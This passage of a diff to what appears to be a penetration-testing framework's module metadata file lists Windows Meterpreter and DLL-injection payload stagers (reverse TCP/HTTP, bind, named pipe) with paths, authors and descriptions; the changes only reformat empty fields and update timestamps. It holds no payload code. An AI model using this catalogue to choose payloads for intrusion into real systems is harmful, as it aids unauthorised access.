(wininet)", "fullname": "payload/windows/meterpreter/reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254150,15 +255996,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-11-10 12:33:52 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254169,9 +256014,7 @@ "payload_windows/meterpreter/reverse_http_proxy_pstore": { "name": "Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy", "fullname": "payload/windows/meterpreter/reverse_http_proxy_pstore", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254192,15 +256035,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2022-11-04 00:33:03 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_http_proxy_pstore.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_http_proxy_pstore", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254211,9 +256053,7 @@ "payload_windows/meterpreter/reverse_https": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)", "fullname": "payload/windows/meterpreter/reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254234,15 +256074,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-11-10 12:33:52 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_https.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254253,9 +256092,7 @@ "payload_windows/meterpreter/reverse_ipv6_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)", "fullname": "payload/windows/meterpreter/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254276,15 +256113,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254295,9 +256131,7 @@ "payload_windows/meterpreter/reverse_named_pipe": { "name": "Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager", "fullname": "payload/windows/meterpreter/reverse_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254317,15 +256151,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_named_pipe.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254336,9 +256169,7 @@ "payload_windows/meterpreter/reverse_nonx_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/meterpreter/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254359,15 +256190,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254378,9 +256208,7 @@ "payload_windows/meterpreter/reverse_ord_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/meterpreter/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254401,15 +256229,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254420,9 +256247,7 @@ "payload_windows/meterpreter/reverse_tcp": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager", "fullname": "payload/windows/meterpreter/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254443,15 +256268,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254462,9 +256286,7 @@ "payload_windows/meterpreter/reverse_tcp_allports": { "name": "Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager", "fullname": "payload/windows/meterpreter/reverse_tcp_allports", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254485,15 +256307,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_allports.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_tcp_allports", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254504,9 +256325,7 @@ "payload_windows/meterpreter/reverse_tcp_dns": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)", "fullname": "payload/windows/meterpreter/reverse_tcp_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254528,15 +256347,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_dns.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_tcp_dns", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254547,9 +256365,7 @@ "payload_windows/meterpreter/reverse_tcp_rc4": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/meterpreter/reverse_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254572,15 +256388,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254591,9 +256406,7 @@ "payload_windows/meterpreter/reverse_tcp_rc4_dns": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)", "fullname": "payload/windows/meterpreter/reverse_tcp_rc4_dns", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254616,15 +256429,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_rc4_dns.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_tcp_rc4_dns", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254635,9 +256447,7 @@ "payload_windows/meterpreter/reverse_tcp_uuid": { "name": "Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support", "fullname": "payload/windows/meterpreter/reverse_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254658,15 +256468,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254677,9 +256486,7 @@ "payload_windows/meterpreter/reverse_winhttp": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)", "fullname": "payload/windows/meterpreter/reverse_winhttp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254701,15 +256508,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_winhttp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254720,9 +256526,7 @@ "payload_windows/meterpreter/reverse_winhttps": { "name": "Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)", "fullname": "payload/windows/meterpreter/reverse_winhttps", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254744,15 +256548,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_winhttps", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -254763,9 +256566,7 @@ "payload_windows/meterpreter_bind_named_pipe": { "name": "Windows Meterpreter Shell, Bind Named Pipe Inline", "fullname": "payload/windows/meterpreter_bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254785,15 +256586,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/meterpreter_bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/meterpreter_bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254802,9 +256602,7 @@ "payload_windows/meterpreter_bind_tcp": { "name": "Windows Meterpreter Shell, Bind TCP Inline", "fullname": "payload/windows/meterpreter_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254823,15 +256621,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/meterpreter_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254840,9 +256637,7 @@ "payload_windows/meterpreter_reverse_http": { "name": "Windows Meterpreter Shell, Reverse HTTP Inline", "fullname": "payload/windows/meterpreter_reverse_http", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254861,15 +256656,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_http", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254878,9 +256672,7 @@ "payload_windows/meterpreter_reverse_https": { "name": "Windows Meterpreter Shell, Reverse HTTPS Inline", "fullname": "payload/windows/meterpreter_reverse_https", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254899,15 +256691,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_https", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254916,9 +256707,7 @@ "payload_windows/meterpreter_reverse_ipv6_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline (IPv6)", "fullname": "payload/windows/meterpreter_reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254937,15 +256726,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254954,9 +256742,7 @@ "payload_windows/meterpreter_reverse_tcp": { "name": "Windows Meterpreter Shell, Reverse TCP Inline", "fullname": "payload/windows/meterpreter_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -254975,15 +256761,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-30 16:19:59 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/meterpreter_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -254992,9 +256777,7 @@ "payload_windows/metsvc_bind_tcp": { "name": "Windows Meterpreter Service, Bind TCP", "fullname": "payload/windows/metsvc_bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255002,24 +256785,21 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/metsvc_bind_tcp.rb", "is_install_path": true, "ref_name": "windows/metsvc_bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -255028,9 +256808,7 @@ "payload_windows/metsvc_reverse_tcp": { "name": "Windows Meterpreter Service, Reverse TCP Inline", "fullname": "payload/windows/metsvc_reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255038,24 +256816,21 @@ "hdm " ], "description": "Stub payload for interacting with a Meterpreter Service", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2021-01-05 14:59:46 +0000", + "mod_time": "2025-04-20 02:57:34 +0000", "path": "/modules/payloads/singles/windows/metsvc_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/metsvc_reverse_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 1, @@ -255064,9 +256839,7 @@ "payload_windows/patchupdllinject/bind_hidden_ipknock_tcp": { "name": "Windows Inject DLL, Hidden Bind Ipknock TCP Stager", "fullname": "payload/windows/patchupdllinject/bind_hidden_ipknock_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255087,15 +256860,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_ipknock_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_hidden_ipknock_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255106,9 +256878,7 @@ "payload_windows/patchupdllinject/bind_hidden_tcp": { "name": "Windows Inject DLL, Hidden Bind TCP Stager", "fullname": "payload/windows/patchupdllinject/bind_hidden_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255129,15 +256899,14 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-07-27 16:02:37 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_hidden_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_hidden_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255148,9 +256917,7 @@ "payload_windows/patchupdllinject/bind_ipv6_tcp": { "name": "Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)", "fullname": "payload/windows/patchupdllinject/bind_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255161,24 +256928,21 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nListen for an IPv6 connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255189,9 +256953,7 @@ "payload_windows/patchupdllinject/bind_ipv6_tcp_uuid": { "name": "Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/patchupdllinject/bind_ipv6_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255203,24 +256965,21 @@ "OJ Reeves" ], "description": "Inject a custom DLL into the exploited process.\n\nListen for an IPv6 connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_ipv6_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_ipv6_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255231,9 +256990,7 @@ "payload_windows/patchupdllinject/bind_named_pipe": { "name": "Windows Inject DLL, Windows x86 Bind Named Pipe Stager", "fullname": "payload/windows/patchupdllinject/bind_named_pipe", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255243,24 +257000,21 @@ "UserExistsError" ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a pipe connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_named_pipe.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_named_pipe", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255271,9 +257025,7 @@ "payload_windows/patchupdllinject/bind_nonx_tcp": { "name": "Windows Inject DLL, Bind TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupdllinject/bind_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255283,24 +257035,21 @@ "vlad902 " ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a connection (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255311,9 +257060,7 @@ "payload_windows/patchupdllinject/bind_tcp": { "name": "Windows Inject DLL, Bind TCP Stager (Windows x86)", "fullname": "payload/windows/patchupdllinject/bind_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255324,24 +257071,21 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a connection (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255352,9 +257096,7 @@ "payload_windows/patchupdllinject/bind_tcp_rc4": { "name": "Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)", "fullname": "payload/windows/patchupdllinject/bind_tcp_rc4", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255367,24 +257109,21 @@ "RageLtMan" ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_rc4.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_tcp_rc4", "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255395,9 +257134,7 @@ "payload_windows/patchupdllinject/bind_tcp_uuid": { "name": "Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)", "fullname": "payload/windows/patchupdllinject/bind_tcp_uuid", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255408,24 +257145,21 @@ "OJ Reeves" ], "description": "Inject a custom DLL into the exploited process.\n\nListen for a connection with UUID Support (Windows x86)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/bind_tcp_uuid.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/bind_tcp_uuid", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255436,9 +257170,7 @@ "payload_windows/patchupdllinject/find_tag": { "name": "Windows Inject DLL, Find Tag Ordinal Stager", "fullname": "payload/windows/patchupdllinject/find_tag", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255447,24 +257179,21 @@ "skape " ], "description": "Inject a custom DLL into the exploited process.\n\nUse an established connection", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/findtag_ord.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/find_tag", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255475,9 +257204,7 @@ "payload_windows/patchupdllinject/reverse_ipv6_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager (IPv6)", "fullname": "payload/windows/patchupdllinject/reverse_ipv6_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255488,24 +257215,21 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker over IPv6", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ipv6_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_ipv6_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255516,9 +257240,7 @@ "payload_windows/patchupdllinject/reverse_nonx_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupdllinject/reverse_nonx_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255528,24 +257250,21 @@ "vlad902 " ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker (No NX)", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_nonx_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_nonx_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255556,9 +257275,7 @@ "payload_windows/patchupdllinject/reverse_ord_tcp": { "name": "Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)", "fullname": "payload/windows/patchupdllinject/reverse_ord_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255568,24 +257285,21 @@ "spoonm " ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-04-19 11:11:01 +0000", "path": "/modules/payloads/stagers/windows/reverse_ord_tcp.rb", "is_install_path": true, "ref_name": "windows/patchupdllinject/reverse_ord_tcp", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": false, "payload_type": 2, @@ -255596,9 +257310,7 @@ "payload_windows/patchupdllinject/reverse_tcp": { "name": "Windows Inject DLL, Reverse TCP Stager", "fullname": "payload/windows/patchupdllinject/reverse_tcp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": null, "type": "payload", @@ -255609,24 +257321,21 @@ "sf " ], "description": "Inject a custom DLL into the exploited process.\n\nConnect back to the attacker", - "references": [ - - ], + "references": [], "platform": "Windows", "arch": "x86", "rport": null, "autofilter_ports": null, "autofilter_services": 